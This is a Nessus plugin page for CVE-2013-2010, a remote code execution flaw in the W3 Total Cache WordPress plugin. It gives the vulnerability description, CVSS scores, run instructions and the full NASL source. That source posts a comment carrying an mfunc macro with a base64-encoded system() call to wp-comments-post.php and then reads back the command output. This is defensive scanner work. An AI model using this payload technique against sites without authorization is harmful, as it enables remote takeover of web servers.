W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution - Nessus

High Plugin ID: 66304

This page contains detailed information about the W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 66304
Name: W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution
Filename: wordpress_w3_total_cache_code_execution.nasl
Vulnerability Published: 2013-03-21
This Plugin Published: 2013-05-03
Last Modification Time: 2021-01-19
Plugin Version: 1.14
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: wordpress_detect.nasl, wordpress_w3_total_cache_info_disclosure.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information

Severity: High
Vulnerability Published: 2013-03-21
Patch Published: 2013-04-17
CVE [?]: CVE-2013-2010
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP script that is affected by a remote PHP code injection vulnerability.

Description

The W3 Total Cache Plugin for WordPress installed on the remote host is affected by a remote PHP code execution vulnerability due to a failure to properly sanitize user-supplied input. An unauthenticated, remote attacker can submit a comment to a WordPress blog containing arbitrary PHP code. The blog comments can contain dynamic content that is ignored by the WordPress core, but when the cached version of the page is loaded, the code left in the comment will execute. This allow the attacker to execute arbitrary code, subject to the privileges of the web server user id.

Note that as this plugin will post comments to the site, it is recommended that the comments are removed from within the WordPress admin panel.

Solution

Upgrade to version 0.9.2.9 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution vulnerability:

Metasploit: exploit/unix/webapp/wp_total_cache_exec
[WordPress W3 Total Cache PHP Code Execution]
D2 Elliot: w3_total_cache_plugin_remote_code_execution.html
[W3 Total Cache Plugin Remote Code Execution]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.2 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.2 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(66304);
  script_version("1.14");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2013-2010");
  script_bugtraq_id(59316);

  script_name(english:"W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution");
  script_summary(english:"Attempts to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote PHP code injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The W3 Total Cache Plugin for WordPress installed on the remote host
is affected by a remote PHP code execution vulnerability due to a
failure to properly sanitize user-supplied input. An unauthenticated,
remote attacker can submit a comment to a WordPress blog containing
arbitrary PHP code. The blog comments can contain dynamic content that
is ignored by the WordPress core, but when the cached version of the
page is loaded, the code left in the comment will execute. This allow
the attacker to execute arbitrary code, subject to the privileges of
the web server user id.

Note that as this plugin will post comments to the site, it is
recommended that the comments are removed from within the WordPress
admin panel.");
  script_set_attribute(attribute:"see_also", value:"https://wordpress.org/support/topic/pwn3d/");
  # http://blog.futtta.be/2013/04/18/wp-caching-plugin-vulnerability-debrief/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?30117468");
  script_set_attribute(attribute:"see_also", value:"https://wordpress.org/plugins/w3-total-cache/#changelog");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 0.9.2.9 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"W3 Total Cache Plugin Remote Code Execution");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress W3 Total Cache PHP Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/03/21");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/04/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/05/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl", "wordpress_w3_total_cache_info_disclosure.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = "W3 Total Cache";

# Check KB first
get_kb_item_or_exit("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

vuln = FALSE;

res2 = http_send_recv3(
  method       : "GET",
  item         : dir + "/feed/",
  port         : port,
  exit_on_fail : TRUE,
  follow_redirect : 1
);

# Grab a URL to a page with comments
# Set a default page ID if we don't find one from the RSS feed
page_id = "1";
page = eregmatch(pattern:'<guid isPermaLink="false">(.+)</guid>', string:res2[2]);
if (!isnull(page))
{
  get_id = eregmatch(pattern:'\\?p=([0-9]+)', string:page[1]);
  if (!isnull(get_id))
  {
    page_id = get_id[1];
  }
}

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";

# Variables used in the foreach loop
time = unixtime();
script  = SCRIPT_NAME - ".nasl" + "-" + time + " : ";
user = "Nessus-" + time;
page_url = "/?p=" + page_id + "#comments";

foreach cmd (cmds)
{
  b64_cmd = base64(str:"system('"+cmd+"');");
  # Remove the = character from the base64 encoded string as this will
  # cause a 500 error when requesting the page with our comment
  if ("=" >< b64_cmd)
  {
    b64_cmd = str_replace(string:b64_cmd, find:"=", replace:"");
  }

  attack = script +
    "<!--mfunc eval(base64_decode(" +b64_cmd+ ")); --><!--/mfunc-->";

  payload = "author="+user+"&email="+user+"%40localhost.local&url=&comment=" +
    attack + "&submit=Post+Comment&comment_post_ID=" + page_id +
    "&comment_parent=0";

  res3 = http_send_recv3(
    method : "POST",
    item   : dir + "/wp-comments-post.php",
    port   : port,
    data   : payload,
    add_headers  : make_array(
      "Content-Type","application/x-www-form-urlencoded"),
    exit_on_fail : TRUE
  );

  if ("<p>Sorry, you must be logged in to post a comment." >< res3[2])
  {
    exit(0, "Nessus was unable to test for this issue as authentication " +
      "is required in order to post comments on the page at " +
      install_url + page_url +"."
    );
  }
  else if ("<p>Sorry, comments are closed for this item" >< res3[2])
  {
    exit(0, "Nessus was unable to test for this issue as comments are not " +
      "currently allowed on the page at " + install_url + page_url + "."
    );
  }
  else
  {
    attack_request = http_last_sent_request();
  }

  # Check for our comment
  res4 = http_send_recv3(
    method : "GET",
    item   : dir + page_url,
    port   : port,
    exit_on_fail    : TRUE,
    follow_redirect : 1
  );
  # If comment moderation is on, you need to cookie from the request in order
  # to see the output when manually testing this from the report output.
  verify_output = http_last_sent_request();

  if(
    (script >< res4[2]) &&
    (egrep(pattern:cmd_pats[cmd], string:res4[2]))
  )
  {
    vuln = TRUE;
    output = strstr(res4[2], script);
    if (cmd == 'id')
    {
      out = strstr(output, "uid");
      pos = stridx(out, "</p>");
      output = substr(out, 0, pos-1);
    }
    else
    {
      out = strstr(output, "Windows IP");
      pos = stridx(out, "</p>");
      output = substr(out, 0, pos-1);
    }
    break;
  }
  # Prevent errors from posting comments too quickly
  sleep(15);
}

if (!vuln)
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");

if (report_verbosity > 0)
{
  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\n' + "Nessus was able to execute the command '" +cmd+"' on the remote" +
    '\n' + "host by submitting a comment using the following request :" +
    '\n' +
    '\n' + attack_request +
    '\n' +
    '\n' + "The following request was used to verify the expected output." +
    '\n' + "Note that in cases where comment moderation is enabled, the" +
    '\n' + "cookie value from the request below is needed in order to view" +
    '\n' + "and verify the results in the HTML page source :" +
    '\n' +
    '\n' + verify_output +
    '\n' +
    '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\n' + 'This produced the following output :' +
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/wordpress_w3_total_cache_code_execution.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_w3_total_cache_code_execution.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/wordpress_w3_total_cache_code_execution.nasl

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How to Run

Here is how to run the W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution plugin ID 66304.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_w3_total_cache_code_execution.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_w3_total_cache_code_execution.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_w3_total_cache_code_execution.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_w3_total_cache_code_execution.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

59316

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_w3_total_cache_code_execution.nasl version 1.14. For more plugins, visit the Nessus Plugin Library.

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W3 Total Cache Plugin for WordPress Multiple Insecure PHP Code Inclusion Macros Remote Code Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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